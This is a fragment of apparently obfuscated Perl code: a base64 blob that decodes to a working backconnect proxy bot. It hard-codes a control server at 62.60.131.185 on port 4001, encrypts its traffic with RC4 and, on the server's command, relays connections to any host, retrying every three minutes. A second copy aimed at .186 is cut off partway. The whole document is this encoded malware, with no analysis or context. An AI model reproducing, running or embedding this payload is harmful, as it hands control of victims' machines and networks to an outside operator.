"IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODUnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K" x "IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xODYnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYz